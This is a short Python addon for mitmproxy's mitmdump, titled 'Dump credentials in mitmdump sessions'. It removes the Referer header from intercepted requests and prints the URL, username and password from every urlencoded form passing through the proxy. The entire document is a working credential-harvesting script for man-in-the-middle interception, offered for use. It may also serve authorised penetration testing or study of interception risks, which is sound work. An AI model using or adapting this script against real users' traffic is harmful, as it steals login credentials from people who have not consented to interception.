Dump credentials in mitmdump sessions

dump_creds.py

# Print values from forms named username and password respectively

def response(flow):
    try:
        flow.request.headers.pop('Referer')
    except Exception:
        pass

    if flow.request.urlencoded_form:
        try:
            username = flow.request.urlencoded_form['username']
            password = flow.request.urlencoded_form['password']
            print("URL: %s" % flow.request.url)
            print("Username: %s" % username)
            print("Password: %s" % password)
        except Exception:
            pass